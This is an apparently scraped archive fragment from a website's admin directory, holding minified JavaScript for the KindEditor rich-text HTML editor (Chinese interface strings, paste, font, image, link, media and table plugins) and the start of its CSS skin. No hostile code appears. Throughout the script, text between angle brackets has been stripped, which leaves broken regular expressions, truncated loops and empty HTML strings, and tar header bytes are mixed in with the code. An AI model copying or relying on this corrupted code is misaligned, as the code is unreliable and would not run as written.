invalidCols:"\u5217\u6570\u4e3a\u5fc5\u9009\u9879\uff0c\u53ea\u5141\u8bb8\u8f93\u5165\u5927\u4e8e0\u7684\u6570\u5b57\u3002",invalidPadding:"\u8fb9\u8ddd\u5fc5\u987b\u4e3a\u6570\u5b57\u3002",invalidSpacing:"\u95f4\u8ddd\u5fc5\u987b\u4e3a\u6570\u5b57\u3002",invalidBorder:"\u8fb9\u6846\u5fc5\u987b\u4e3a\u6570\u5b57\u3002",pleaseInput:"\u8bf7\u8f93\u5165\u5185\u5bb9\u3002",invalidJson:"\u670d\u52a1\u5668\u53d1\u751f\u6545\u969c\u3002",cutError:"\u60a8\u7684\u6d4f\u89c8\u5668\u5b89\u5168\u8bbe\u7f6e\u4e0d\u5141\u8bb8\u4f7f\u7528\u526a\u5207\u64cd\u4f5c\uff0c\u8bf7\u4f7f\u7528\u5feb\u6377\u952e(Ctrl+X)\u6765\u5b8c\u6210\u3002", copyError:"\u60a8\u7684\u6d4f\u89c8\u5668\u5b89\u5168\u8bbe\u7f6e\u4e0d\u5141\u8bb8\u4f7f\u7528\u590d\u5236\u64cd\u4f5c\uff0c\u8bf7\u4f7f\u7528\u5feb\u6377\u952e(Ctrl+C)\u6765\u5b8c\u6210\u3002",pasteError:"\u60a8\u7684\u6d4f\u89c8\u5668\u5b89\u5168\u8bbe\u7f6e\u4e0d\u5141\u8bb8\u4f7f\u7528\u7c98\u8d34\u64cd\u4f5c\uff0c\u8bf7\u4f7f\u7528\u5feb\u6377\u952e(Ctrl+V)\u6765\u5b8c\u6210\u3002"};var d=f.lang.plugins={};d.about={version:f.version,title:"HTML\u53ef\u89c6\u5316\u7f16\u8f91\u5668"};d.plainpaste= {comment:"\u8bf7\u4f7f\u7528\u5feb\u6377\u952e(Ctrl+V)\u628a\u5185\u5bb9\u7c98\u8d34\u5230\u4e0b\u9762\u7684\u65b9\u6846\u91cc\u3002"};d.wordpaste={comment:"\u8bf7\u4f7f\u7528\u5feb\u6377\u952e(Ctrl+V)\u628a\u5185\u5bb9\u7c98\u8d34\u5230\u4e0b\u9762\u7684\u65b9\u6846\u91cc\u3002"};d.link={url:"URL\u5730\u5740",linkType:"\u6253\u5f00\u7c7b\u578b",newWindow:"\u65b0\u7a97\u53e3",selfWindow:"\u5f53\u524d\u7a97\u53e3"};d.flash={url:"Flash\u5730\u5740",width:"\u5bbd\u5ea6",height:"\u9ad8\u5ea6"};d.media= {url:"\u5a92\u4f53\u6587\u4ef6\u5730\u5740",width:"\u5bbd\u5ea6",height:"\u9ad8\u5ea6",autostart:"\u81ea\u52a8\u64ad\u653e"};d.image={remoteImage:"\u8fdc\u7a0b\u56fe\u7247",localImage:"\u672c\u5730\u4e0a\u4f20",remoteUrl:"\u56fe\u7247\u5730\u5740",localUrl:"\u56fe\u7247\u5730\u5740",size:"\u56fe\u7247\u5927\u5c0f",width:"\u5bbd",height:"\u9ad8",resetSize:"\u91cd\u7f6e\u5927\u5c0f",align:"\u5bf9\u9f50\u65b9\u5f0f",defaultAlign:"\u9ed8\u8ba4\u65b9\u5f0f",leftAlign:"\u5de6\u5bf9\u9f50",rightAlign:"\u53f3\u5bf9\u9f50", imgTitle:"\u56fe\u7247\u8bf4\u660e",viewServer:"\u6d4f\u89c8..."};d.file_manager={emptyFolder:"\u7a7a\u6587\u4ef6\u5939",moveup:"\u79fb\u5230\u4e0a\u4e00\u7ea7\u6587\u4ef6\u5939",viewType:"\u663e\u793a\u65b9\u5f0f\uff1a",viewImage:"\u7f29\u7565\u56fe",listImage:"\u8be6\u7ec6\u4fe1\u606f",orderType:"\u6392\u5e8f\u65b9\u5f0f\uff1a",fileName:"\u540d\u79f0",fileSize:"\u5927\u5c0f",fileType:"\u7c7b\u578b"};d.advtable={cells:"\u5355\u5143\u683c\u6570",rows:"\u884c\u6570",cols:"\u5217\u6570",size:"\u8868\u683c\u5927\u5c0f", width:"\u5bbd\u5ea6",height:"\u9ad8\u5ea6",percent:"%",px:"px",space:"\u8fb9\u8ddd\u95f4\u8ddd",padding:"\u8fb9\u8ddd",spacing:"\u95f4\u8ddd",align:"\u5bf9\u9f50\u65b9\u5f0f",alignDefault:"\u9ed8\u8ba4",alignLeft:"\u5de6\u5bf9\u9f50",alignCenter:"\u5c45\u4e2d",alignRight:"\u53f3\u5bf9\u9f50",border:"\u8868\u683c\u8fb9\u6846",borderWidth:"\u8fb9\u6846",borderColor:"\u989c\u8272",backgroundColor:"\u80cc\u666f\u989c\u8272"};d.title={h1:"\u6807\u9898 1",h2:"\u6807\u9898 2",h3:"\u6807\u9898 3",h4:"\u6807\u9898 4", p:"\u6b63 \u6587"};d.fontname={fontName:{SimSun:"\u5b8b\u4f53",NSimSun:"\u65b0\u5b8b\u4f53",FangSong_GB2312:"\u4eff\u5b8b_GB2312",KaiTi_GB2312:"\u6977\u4f53_GB2312",SimHei:"\u9ed1\u4f53","Microsoft YaHei":"\u5fae\u8f6f\u96c5\u9ed1",Arial:"Arial","Arial Black":"Arial Black","Times New Roman":"Times New Roman","Courier New":"Courier New",Tahoma:"Tahoma",Verdana:"Verdana"}}})(KindEditor); (function(f,d){f.plugin.about={click:function(a){f.util.selection(a);(new f.dialog({id:a,cmd:"about",file:"about.html",width:300,height:70,loadingMode:true,title:f.lang.about,noButton:f.lang.close})).show()}};f.plugin.undo={init:function(a){f.event.ctrl(f.g[a].iframeDoc,"Z",function(){f.plugin.undo.click(a);f.util.focus(a)},a);f.event.ctrl(f.g[a].newTextarea,"Z",function(){f.plugin.undo.click(a);f.util.focus(a)},a)},click:function(a){f.history.undo(a);f.util.execOnchangeHandler(a)}};f.plugin.redo= {init:function(a){f.event.ctrl(f.g[a].iframeDoc,"Y",function(){f.plugin.redo.click(a);f.util.focus(a)},a);f.event.ctrl(f.g[a].newTextarea,"Y",function(){f.plugin.redo.click(a);f.util.focus(a)},a)},click:function(a){f.history.redo(a);f.util.execOnchangeHandler(a)}};f.plugin.cut={click:function(a){try{if(!f.g[a].iframeDoc.queryCommandSupported("cut"))throw"e";}catch(b){alert(f.lang.cutError);return}f.util.execCommand(a,"cut",null)}};f.plugin.copy={click:function(a){try{if(!f.g[a].iframeDoc.queryCommandSupported("copy"))throw"e"; }catch(b){alert(f.lang.copyError);return}f.util.execCommand(a,"copy",null)}};f.plugin.paste={click:function(a){try{if(!f.g[a].iframeDoc.queryCommandSupported("paste"))throw"e";}catch(b){alert(f.lang.pasteError);return}f.util.execCommand(a,"paste",null)}};f.plugin.plainpaste={click:function(a){f.util.selection(a);this.dialog=new f.dialog({id:a,cmd:"plainpaste",file:"plainpaste.html",width:450,height:300,loadingMode:true,title:f.lang.plainpaste,yesButton:f.lang.yes,noButton:f.lang.no});this.dialog.show()}, exec:function(a){var b=f.util.getIframeDoc(this.dialog.iframe);b=f.$("textArea",b).value;b=f.util.escape(b);b=b.replace(/ /g," ");b=b.replace(/\r\n|\n|\r/g,"
$&");f.util.insertHtml(a,b);this.dialog.hide();f.util.focus(a)}};f.plugin.wordpaste={click:function(a){f.util.selection(a);this.dialog=new f.dialog({id:a,cmd:"wordpaste",file:"wordpaste.html",width:450,height:300,loadingMode:true,title:f.lang.wordpaste,yesButton:f.lang.yes,noButton:f.lang.no});this.dialog.show()},exec:function(a){var b= f.util.getIframeDoc(this.dialog.iframe);b=f.$("wordIframe",b);b=f.util.getIframeDoc(b).body.innerHTML;b=b.replace(//ig,"");b=b.replace(//ig,"");b=b.replace(/]*>(\n|.)*?<\/style>/ig,"");b=b.replace(/]*>(\n|.)*?<\/script>/ig,"");b=b.replace(/]+>(\n|.)*?<\/w:[^>]+>/ig,"");b=b.replace(/(\n|.)*?<\/xml>/ig,"");b=b.replace(/\r\n|\n|\r/ig,"");b=f.util.execGetHtmlHooks(a,b);b=f.format.getHtml(b,f.g[a].htmlTags,f.g[a].urlType);f.util.insertHtml(a,b);this.dialog.hide(); f.util.focus(a)}};f.plugin.fullscreen={click:function(a){var b=f.g[a],c=this,e=function(){var k=f.util.getDocumentElement();b.width=k.clientWidth+"px";b.height=k.clientHeight+"px"},g="",h=function(){if(c.isSelected){var k=f.util.getDocumentElement();k=[k.clientWidth,k.clientHeight].join("");if(g!=k){g=k;e();f.util.resize(a,b.width,b.height)}}};if(this.isSelected){this.isSelected=false;f.util.setData(a);f.remove(a,1);b.width=this.width;b.height=this.height;f.create(a,2);document.body.parentNode.style.overflow= "auto";f.event.remove(window,"resize",h);b.resizeMode=b.config.resizeMode;f.toolbar.unselect(a,"fullscreen")}else{this.isSelected=true;this.width=b.container.style.width;this.height=b.container.style.height;f.util.setData(a);f.remove(a,2);document.body.parentNode.style.overflow="hidden";e();f.create(a,1);var i=f.util.getScrollPos(),j=b.container;j.style.position="absolute";j.style.left=i.x+"px";j.style.top=i.y+"px";j.style.zIndex=19811211;f.event.add(window,"resize",h);b.resizeMode=0;f.toolbar.select(a, "fullscreen")}}};f.plugin.bgcolor={click:function(a){f.util.selection(a);var b=f.queryCommandValue(f.g[a].iframeDoc,"bgcolor");this.menu=new f.menu({id:a,cmd:"bgcolor"});this.menu.picker(b)},exec:function(a,b){var c=new f.cmd(a);b==""?c.remove({span:[".background-color"]}):c.wrap("span",[{".background-color":b}]);f.util.execOnchangeHandler(a);this.menu.hide();f.util.focus(a)}};f.plugin.fontname={click:function(a){var b=f.lang.plugins.fontname.fontName;f.util.selection(a);var c=new f.menu({id:a,cmd:"fontname", width:150}),e=f.queryCommandValue(f.g[a].iframeDoc,"fontname");f.each(b,function(g,h){c.add(''+h+"",function(){f.plugin.fontname.exec(a,g)},{checked:e===g.toLowerCase()||e===h.toLowerCase()})});c.show();this.menu=c},exec:function(a,b){(new f.cmd(a)).wrap("span",[{".font-family":b}]);f.util.execOnchangeHandler(a);this.menu.hide();f.util.focus(a)}};f.plugin.fontsize={click:function(a){var b=["9px","10px","12px","14px","16px","18px","24px","32px"]; f.util.selection(a);for(var c=f.queryCommandValue(f.g[a].iframeDoc,"fontsize"),e=new f.menu({id:a,cmd:"fontsize",width:120}),g=0,h=b.length;g'+i+"",function(j){return function(){f.plugin.fontsize.exec(a,j)}}(i),{height:parseInt(i)+12+"px",checked:c===i})}e.show();this.menu=e},exec:function(a,b){(new f.cmd(a)).wrap("span",[{".font-size":b}]);f.util.execOnchangeHandler(a);this.menu.hide();f.util.focus(a)}};f.plugin.hr= {click:function(a){f.util.selection(a);f.util.insertHtml(a,"


");f.util.focus(a)}};f.plugin.print={click:function(a){f.util.selection(a);f.g[a].iframeWin.print()}};f.plugin.removeformat={click:function(a){f.util.selection(a);for(var b=new f.cmd(a),c={"*":["class","style"]},e=0,g=f.g[a].inlineTags.length;e'+i+"",function(){f.plugin.title.exec(a,"<"+h+">")},{height:c[h]+12+"px",checked:e===h.toLowerCase()||e===i.toLowerCase()})});g.show();this.menu=g},exec:function(a,b){f.util.select(a);f.util.execCommand(a,"formatblock",b);this.menu.hide();f.util.focus(a)}};f.plugin.emoticons={click:function(a){function b(v){var t= f.$$("table");if(q){t.onmouseover=function(){q.style.display="block"};t.onmouseout=function(){q.style.display="none"}}t.className="ke-plugin-emoticons-table";t.cellPadding=0;t.cellSpacing=0;t.border=0;v=(v-1)*j+i;for(var x=0;xl){q.style.left=0;q.style.right=""}else{q.style.left="";q.style.right=0}r.src=p+B+".gif";this.className="ke-plugin-emoticons-cell ke-plugin-emoticons-cell-on"}}(y, v):function(){this.className="ke-plugin-emoticons-cell ke-plugin-emoticons-cell-on"};s.onmouseout=function(){this.className="ke-plugin-emoticons-cell"};s.onclick=function(A){return function(){e.exec(a,A);return false}}(v);var z=f.$$("span");z.className="ke-plugin-emoticons-img";z.style.backgroundPosition="-"+24*v+"px 0px";s.appendChild(z);v++}return t}function c(v){for(var t=1;t<=k;t++){if(v!==t){var x=f.$$("a");x.href="javascript:;";x.innerHTML="["+t+"]";x.onclick=function(w){return function(){o.removeChild(u); var y=b(w);o.insertBefore(y,n);u=y;n.innerHTML="";c(w);return false}}(t);n.appendChild(x)}else n.appendChild(document.createTextNode("["+t+"]"));n.appendChild(document.createTextNode(" "))}}var e=this,g=5,h=9,i=0,j=g*h,k=Math.ceil(135/j),l=Math.floor(h/2),m=f.g[a],p=m.pluginsPath+"emoticons/";m=m.allowPreviewEmoticons===d?true:m.allowPreviewEmoticons;f.util.selection(a);var o=f.$$("div");o.className="ke-plugin-emoticons-wrapper";var q,r;if(m){q=f.$$("div");q.className="ke-plugin-emoticons-preview"; q.style.right=0;r=f.$$("img");r.className="ke-reset";r.src=p+"0.gif";r.border=0;q.appendChild(r);o.appendChild(q)}var u=b(1);o.appendChild(u);var n=f.$$("div");n.className="ke-plugin-emoticons-page";o.appendChild(n);c(1);m=new f.menu({id:a,cmd:"emoticons"});m.append(o);m.show();this.menu=m},exec:function(a,b){var c=f.g[a].pluginsPath+"emoticons/"+b+".gif";f.util.insertHtml(a,'');this.menu.hide();f.util.focus(a)}};f.plugin.flash={init:function(a){f.g[a].getHtmlHooks.push(function(b){return b.replace(/]*class="?ke-flash"?[^>]*>/ig, function(c){var e=c.match(/style="[^"]*;?\s*width:\s*(\d+)/i)?RegExp.$1:0,g=c.match(/style="[^"]*;?\s*height:\s*(\d+)/i)?RegExp.$1:0;e=e||(c.match(/width="([^"]+)"/i)?RegExp.$1:0);g=g||(c.match(/height="([^"]+)"/i)?RegExp.$1:0);if(c.match(/kesrctag="([^"]+)"/i)){c=f.util.getAttrList(unescape(RegExp.$1));c.width=e||c.width||0;c.height=g||c.height||0;c.kesrc=c.src;return f.util.getMediaEmbed(c)}})});f.g[a].setHtmlHooks.push(function(b){return b.replace(/]*type="application\/x-shockwave-flash"[^>]*>(?:<\/embed>)?/ig, function(c){var e=c.match(/\s+src="([^"]+)"/i)?RegExp.$1:"";if(c.match(/\s+kesrc="([^"]+)"/i))e=RegExp.$1;var g=c.match(/\s+width="([^"]+)"/i)?RegExp.$1:0,h=c.match(/\s+height="([^"]+)"/i)?RegExp.$1:0;c=f.util.getAttrList(c);c.src=e;c.width=g;c.height=h;return f.util.getMediaImage(a,"flash",c)})})},click:function(a){f.util.selection(a);this.dialog=new f.dialog({id:a,cmd:"flash",file:"flash.html",width:400,height:140,loadingMode:true,title:f.lang.flash,yesButton:f.lang.yes,noButton:f.lang.no});this.dialog.show()}, check:function(a,b,c,e){a=f.util.getIframeDoc(this.dialog.iframe);if(!b.match(/^.{3,}$/)){alert(f.lang.invalidUrl);f.$("url",a).focus();return false}if(!c.match(/^\d*$/)){alert(f.lang.invalidWidth);f.$("width",a).focus();return false}if(!e.match(/^\d*$/)){alert(f.lang.invalidHeight);f.$("height",a).focus();return false}return true},exec:function(a){var b=f.util.getIframeDoc(this.dialog.iframe),c=f.$("url",b).value,e=f.$("width",b).value;b=f.$("height",b).value;if(!this.check(a,c,e,b))return false; c=f.util.getMediaImage(a,"flash",{src:c,type:f.g[a].mediaTypes.flash,width:e,height:b,quality:"high"});f.util.insertHtml(a,c);this.dialog.hide();f.util.focus(a)}};f.plugin.image={getSelectedNode:function(a){a=f.g[a];var b=a.keRange.startNode,c=a.keRange.endNode;if(f.browser.WEBKIT||a.keSel.isControl)if(b.nodeType==1)if(b.tagName.toLowerCase()=="img")if(b==c)if(!b.className.match(/^ke-\w+/i))return b},init:function(a){var b=this;a=f.g[a];a.contextmenuItems.push({text:f.lang.editImage,click:function(c, e){f.util.select(c);e.hide();b.click(c)},cond:function(c){return b.getSelectedNode(c)},options:{width:"150px",iconHtml:''}});a.contextmenuItems.push({text:f.lang.deleteImage,click:function(c,e){f.util.select(c);e.hide();var g=b.getSelectedNode(c);g.parentNode.removeChild(g);f.util.execOnchangeHandler(c)},cond:function(c){return b.getSelectedNode(c)},options:{width:"150px"}});a.contextmenuItems.push("-")},click:function(a){f.util.selection(a); this.dialog=new f.dialog({id:a,cmd:"image",file:"image/image.html",width:400,height:220,loadingMode:true,title:f.lang.image,yesButton:f.lang.yes,noButton:f.lang.no});this.dialog.show()},check:function(){var a=f.util.getIframeDoc(this.dialog.iframe),b=f.$("type",a).value,c=f.$("imgWidth",a).value,e=f.$("imgHeight",a).value;f.$("imgTitle",a);b=b==2?f.$("imgFile",a):f.$("url",a);if(!b.value.match(/\.(jpg|jpeg|gif|bmp|png)(\s|\?|$)/i)){alert(f.lang.invalidImg);b.focus();return false}if(!c.match(/^\d*$/)){alert(f.lang.invalidWidth); f.$("imgWidth",a).focus();return false}if(!e.match(/^\d*$/)){alert(f.lang.invalidHeight);f.$("imgHeight",a).focus();return false}return true},exec:function(a){for(var b=this,c=f.util.getIframeDoc(this.dialog.iframe),e=f.$("type",c).value,g=f.$("imgWidth",c).value,h=f.$("imgHeight",c).value,i=f.$("imgTitle",c).value,j=c.getElementsByName("align"),k="",l=0,m=j.length;l0)b+= 'width="'+e+'" ';if(g>0)b+='height="'+g+'" ';if(c)b+='title="'+c+'" ';if(i)b+='align="'+i+'" ';b+='alt="'+c+'" ';b+='border="'+h+'" />';f.util.insertHtml(a,b);this.dialog.hide();f.util.focus(a)}};f.plugin.link={getSelectedNode:function(a){return f.getCommonAncestor(f.g[a].keSel,"a")},init:function(a){var b=this;f.g[a].contextmenuItems.push({text:f.lang.editLink,click:function(c,e){f.util.select(c);e.hide();b.click(c)},cond:function(c){return b.getSelectedNode(c)},options:{width:"150px",iconHtml:''}})}, click:function(a){f.util.selection(a);this.dialog=new f.dialog({id:a,cmd:"link",file:"link/link.html",width:400,height:90,loadingMode:true,title:f.lang.link,yesButton:f.lang.yes,noButton:f.lang.no});this.dialog.show()},exec:function(a){var b=f.g[a];f.util.select(a);var c=b.keRange,e=c.startNode,g=c.endNode,h=b.iframeDoc,i=f.util.getIframeDoc(this.dialog.iframe),j=f.$("hyperLink",i).value,k=f.$("linkType",i).value;if(!j.match(/.+/)||j.match(/^\w+:\/\/\/?$/)){alert(f.lang.invalidUrl);f.$("hyperLink", i).focus();return false}for(i=c.getParentElement();i;){if(i.tagName.toLowerCase()=="a"||i.tagName.toLowerCase()=="body")break;i=i.parentNode}i=i.parentNode;g=f.browser.IE?!!b.range.item:e.nodeType==1&&e===g&&e.nodeName.toLowerCase()!="br";var l=!g;g||(l=f.browser.IE?b.range.text==="":b.range.toString()==="");if(l||f.util.isEmpty(a)){b='";f.util.insertHtml(a,b)}else{h.execCommand("createlink",false,"__ke_temp_url__");i=i.getElementsByTagName("a"); l=0;for(var m=i.length;l'}});f.g[a].contextmenuItems.push("-")},click:function(a){var b=f.g[a],c=b.iframeDoc;f.util.selection(a);var e=b.keRange,g=e.startNode;e=e.endNode;e=g.nodeType==1&&g===e;var h=!e;e||(h= f.browser.IE?b.range.text==="":b.range.toString()==="");if(h){h=f.plugin.link.getSelectedNode(a);if(!h)return;e=b.keRange;e.selectTextNode(h);b.keSel.addRange(e);f.util.select(a);c.execCommand("unlink",false,null);if(f.browser.WEBKIT&&g.tagName.toLowerCase()=="img"){c=g.parentNode;if(c.tagName.toLowerCase()=="a"){f.util.removeParent(c);b.keSel.addRange(e)}}}else c.execCommand("unlink",false,null);f.util.execOnchangeHandler(a);f.toolbar.updateState(a);f.util.focus(a)}};f.plugin.media={init:function(a){var b= {};f.each(f.g[a].mediaTypes,function(c,e){b[e]=c});f.g[a].getHtmlHooks.push(function(c){return c.replace(/]*class="?ke-\w+"?[^>]*>/ig,function(e){var g=e.match(/style="[^"]*;?\s*width:\s*(\d+)/i)?RegExp.$1:0,h=e.match(/style="[^"]*;?\s*height:\s*(\d+)/i)?RegExp.$1:0;g=g||(e.match(/width="([^"]+)"/i)?RegExp.$1:0);h=h||(e.match(/height="([^"]+)"/i)?RegExp.$1:0);if(e.match(/\s+kesrctag="([^"]+)"/i)){e=f.util.getAttrList(unescape(RegExp.$1));e.width=g||e.width||0;e.height=h||e.height||0;e.kesrc= e.src;return f.util.getMediaEmbed(e)}})});f.g[a].setHtmlHooks.push(function(c){return c.replace(/]*type="([^"]+)"[^>]*>(?:<\/embed>)?/ig,function(e,g){if(typeof b[g]=="undefined")return e;var h=e.match(/\s+src="([^"]+)"/i)?RegExp.$1:"";if(e.match(/\s+kesrc="([^"]+)"/i))h=RegExp.$1;var i=e.match(/\s+width="([^"]+)"/i)?RegExp.$1:0,j=e.match(/\s+height="([^"]+)"/i)?RegExp.$1:0,k=f.util.getAttrList(e);k.src=h;k.width=i;k.height=j;return f.util.getMediaImage(a,"",k)})})},click:function(a){f.util.selection(a); this.dialog=new f.dialog({id:a,cmd:"media",file:"media.html",width:400,height:170,loadingMode:true,title:f.lang.media,yesButton:f.lang.yes,noButton:f.lang.no});this.dialog.show()},check:function(a,b,c,e){a=f.util.getIframeDoc(this.dialog.iframe);if(!b.match(/^.{3,}\.(swf|flv|mp3|wav|wma|wmv|mid|avi|mpg|mpeg|asf|rm|rmvb)(\?|$)/i)){alert(f.lang.invalidMedia);f.$("url",a).focus();return false}if(!c.match(/^\d*$/)){alert(f.lang.invalidWidth);f.$("width",a).focus();return false}if(!e.match(/^\d*$/)){alert(f.lang.invalidHeight); f.$("height",a).focus();return false}return true},exec:function(a){var b=f.util.getIframeDoc(this.dialog.iframe),c=f.$("url",b).value,e=f.$("width",b).value,g=f.$("height",b).value;if(!this.check(a,c,e,g))return false;b=f.$("autostart",b).checked?"true":"false";c=f.util.getMediaImage(a,"",{src:c,type:f.g[a].mediaTypes[f.util.getMediaType(c)],width:e,height:g,autostart:b,loop:"true"});f.util.insertHtml(a,c);this.dialog.hide();f.util.focus(a)}};f.plugin.advtable={getSelectedTable:function(a){return f.getCommonAncestor(f.g[a].keSel, "table")},getSelectedRow:function(a){return f.getCommonAncestor(f.g[a].keSel,"tr")},getSelectedCell:function(a){return f.getCommonAncestor(f.g[a].keSel,"td")},tableprop:function(a){this.click(a)},tableinsert:function(a){this.click(a,"insert")},tabledelete:function(a){a=this.getSelectedTable(a);a.parentNode.removeChild(a)},tablecolinsert:function(a,b){for(var c=this.getSelectedTable(a),e=this.getSelectedCell(a).cellIndex+b,g=0,h=c.rows.length;g'}})}f.g[a].contextmenuItems.push("-");f.g[a].setHtmlHooks.push(function(i){return i.replace(/]*)>/ig,function(j,k){if(k.match(/\s+border=["']?(\d*)["']?/ig)){var l=RegExp.$1;return k.indexOf("ke-zeroborder")<0&&(l===""||l==="0")?f.addClass(j,"ke-zeroborder"):j}else return f.addClass(j, "ke-zeroborder")})})},click:function(a,b){b=b||"default";f.util.selection(a);this.dialog=new f.dialog({id:a,cmd:"advtable",file:"advtable/advtable.html?mode="+b,width:420,height:220,loadingMode:true,title:f.lang.advtable,yesButton:f.lang.yes,noButton:f.lang.no});this.dialog.show()},exec:function(a){var b=f.util.getIframeDoc(this.dialog.iframe),c=f.$("mode",b),e=f.$("rows",b),g=f.$("cols",b),h=f.$("width",b),i=f.$("height",b),j=f.$("widthType",b),k=f.$("heightType",b),l=f.$("padding",b),m=f.$("spacing", b),p=f.$("align",b),o=f.$("border",b),q=f.$("borderColor",b),r=f.$("backgroundColor",b);b=e.value;var u=g.value,n=h.value,v=i.value;j=j.value;var t=k.value;k=l.value;var x=m.value;p=p.value;var w=o.value;q=q.innerHTML;r=r.innerHTML;if(b==""||b==0||!b.match(/^\d*$/)){alert(f.lang.invalidRows);e.focus();return false}if(u==""||u==0||!u.match(/^\d*$/)){alert(f.lang.invalidCols);g.focus();return false}if(!n.match(/^\d*$/)){alert(f.lang.invalidWidth);h.focus();return false}if(!v.match(/^\d*$/)){alert(f.lang.invalidHeight); i.focus();return false}if(!k.match(/^\d*$/)){alert(f.lang.invalidPadding);l.focus();return false}if(!x.match(/^\d*$/)){alert(f.lang.invalidSpacing);m.focus();return false}if(!w.match(/^\d*$/)){alert(f.lang.invalidBorder);o.focus();return false}if(c.value==="update"){b=this.getSelectedTable(a);if(n!=="")b.style.width=n+j;else if(b.style.width)b.style.width="";b.width!==d&&b.removeAttribute("width");if(v!=="")b.style.height=v+t;else if(b.style.height)b.style.height="";b.height!==d&&b.removeAttribute("height"); if(r!=="")b.style.backgroundColor=r;else if(b.style.backgroundColor)b.style.backgroundColor="";b.bgColor!==d&&b.removeAttribute("bgColor");if(k!=="")b.cellPadding=k;else b.removeAttribute("cellPadding");if(x!=="")b.cellSpacing=x;else b.removeAttribute("cellSpacing");if(p!=="")b.align=p;else b.removeAttribute("align");w===""||w==="0"?f.addClass(b,"ke-zeroborder"):f.removeClass(b,"ke-zeroborder");w!==""?b.setAttribute("border",w):b.removeAttribute("border");q!==""?b.setAttribute("borderColor",q):b.removeAttribute("borderColor"); f.util.execOnchangeHandler(a)}else{c="";if(n!=="")c+="width:"+n+j+";";if(v!=="")c+="height:"+v+t+";";if(r!=="")c+="background-color:"+r+";";n="";for(c=0;c ";n+=""}n+="";f.util.insertHtml(a, n)}this.dialog.hide();f.util.focus(a)}}})(KindEditor); cheapuggsales.uk.com/admin_frad/kindeditor/skins/0000777000000000000000000000000011633550314021136 5ustar rootrootcheapuggsales.uk.com/admin_frad/kindeditor/skins/default.css0000777000000000000000000003672511633550314023314 0ustar rootroot.ke-text { font-size: 12px; font-family: "sans serif",tahoma,verdana,helvetica; } .ke-icon-source { background-position: 0px 0px; width: 16px; height: 16px; } .ke-icon-print { background-position: 0px -32px; width: 16px; height: 16px; } .ke-icon-undo { background-position: 0px -48px; width: 16px; height: 16px; } .ke-icon-redo { background-position: 0px -64px; width: 16px; height: 16px; } .ke-icon-cut { background-position: 0px -80px; width: 16px; height: 16px; } .ke-icon-copy { background-position: 0px -96px; width: 16px; height: 16px; } .ke-icon-paste { background-position: 0px -112px; width: 16px; height: 16px; } .ke-icon-selectall { background-position: 0px -128px; width: 16px; height: 16px; } .ke-icon-justifyleft { background-position: 0px -144px; width: 16px; height: 16px; } .ke-icon-justifycenter { background-position: 0px -160px; width: 16px; height: 16px; } .ke-icon-justifyright { background-position: 0px -176px; width: 16px; height: 16px; } .ke-icon-justifyfull { background-position: 0px -192px; width: 16px; height: 16px; } .ke-icon-insertorderedlist { background-position: 0px -208px; width: 16px; height: 16px; } .ke-icon-insertunorderedlist { background-position: 0px -224px; width: 16px; height: 16px; } .ke-icon-indent { background-position: 0px -240px; width: 16px; height: 16px; } .ke-icon-outdent { background-position: 0px -256px; width: 16px; height: 16px; } .ke-icon-subscript { background-position: 0px -272px; width: 16px; height: 16px; } .ke-icon-superscript { background-position: 0px -288px; width: 16px; height: 16px; } .ke-icon-title { background-position: 0px -336px; width: 25px; height: 16px; } .ke-icon-fontname { background-position: 0px -352px; width: 21px; height: 16px; } .ke-icon-fontsize { background-position: 0px -368px; width: 23px; height: 16px; } .ke-icon-textcolor { background-position: 0px -384px; width: 20px; height: 16px; } .ke-icon-bgcolor { background-position: 0px -400px; width: 20px; height: 16px; } .ke-icon-bold { background-position: 0px -416px; width: 16px; height: 16px; } .ke-icon-italic { background-position: 0px -432px; width: 16px; height: 16px; } .ke-icon-underline { background-position: 0px -448px; width: 16px; height: 16px; } .ke-icon-strikethrough { background-position: 0px -464px; width: 16px; height: 16px; } .ke-icon-removeformat { background-position: 0px -480px; width: 16px; height: 16px; } .ke-icon-image { background-position: 0px -496px; width: 16px; height: 16px; } .ke-icon-flash { background-position: 0px -512px; width: 16px; height: 16px; } .ke-icon-media { background-position: 0px -528px; width: 16px; height: 16px; } .ke-icon-hr { background-position: 0px -592px; width: 16px; height: 16px; } .ke-icon-emoticons { background-position: 0px -608px; width: 16px; height: 16px; } .ke-icon-link { background-position: 0px -624px; width: 16px; height: 16px; } .ke-icon-unlink { background-position: 0px -640px; width: 16px; height: 16px; } .ke-icon-fullscreen { background-position: 0px -656px; width: 16px; height: 16px; } .ke-icon-about { background-position: 0px -672px; width: 16px; height: 16px; } .ke-icon-plainpaste { background-position: 0px -704px; width: 16px; height: 16px; } .ke-icon-wordpaste { background-position: 0px -720px; width: 16px; height: 16px; } .ke-icon-advtable { background-position: 0px -784px; width: 16px; height: 16px; } .ke-icon-tablemenu { background-position: 0px -768px; width: 16px; height: 16px; } .ke-icon-tableinsert { background-position: 0px -784px; width: 16px; height: 16px; } .ke-icon-tabledelete { background-position: 0px -800px; width: 16px; height: 16px; } .ke-icon-tablecolinsertleft { background-position: 0px -816px; width: 16px; height: 16px; } .ke-icon-tablecolinsertright { background-position: 0px -832px; width: 16px; height: 16px; } .ke-icon-tablerowinsertabove { background-position: 0px -848px; width: 16px; height: 16px; } .ke-icon-tablerowinsertbelow { background-position: 0px -864px; width: 16px; height: 16px; } .ke-icon-tablecoldelete { background-position: 0px -880px; width: 16px; height: 16px; } .ke-icon-tablerowdelete { background-position: 0px -896px; width: 16px; height: 16px; } .ke-icon-tablecellprop { background-position: 0px -912px; width: 16px; height: 16px; } .ke-icon-tableprop { background-position: 0px -928px; width: 16px; height: 16px; } .ke-icon-checked { background-position: 0px -944px; width: 16px; height: 16px; } .ke-container { font-family: "sans serif",tahoma,verdana,helvetica; border: 1px solid #CCCCCC; background-color: #F0F0EE; table-layout: fixed; overflow: hidden; border-collapse:separate; padding:0; margin:0; } .ke-toolbar-outer { border: 0; padding: 0; margin: 0; } .ke-toolbar { width: 100%; border:0; padding:0; margin:0; border-collapse:separate; } .ke-toolbar td { border:0; padding: 2px 5px; margin:0; } .ke-toolbar-table { font-size: 0; line-height: 0; float: left; clear: both; border:0; padding:0; margin:0; border-collapse:separate; } .ke-toolbar-separator { border-left: 1px solid #A0A0A0; border-right: 1px solid #FFFFFF; border-top:0; border-bottom:0; width: 0; padding: 0; margin: 0 2px; height: 16px; } .ke-toolbar-table td { border:0; padding: 0; margin:0; } .ke-bottom-outer { border: 0; padding: 0; margin: 0; } .ke-bottom { width: 100%; font-size: 0; line-height: 0; border: 0; padding:0; margin:0; height:11px; border-collapse:separate; } .ke-bottom-left { width: 100%; cursor: s-resize; 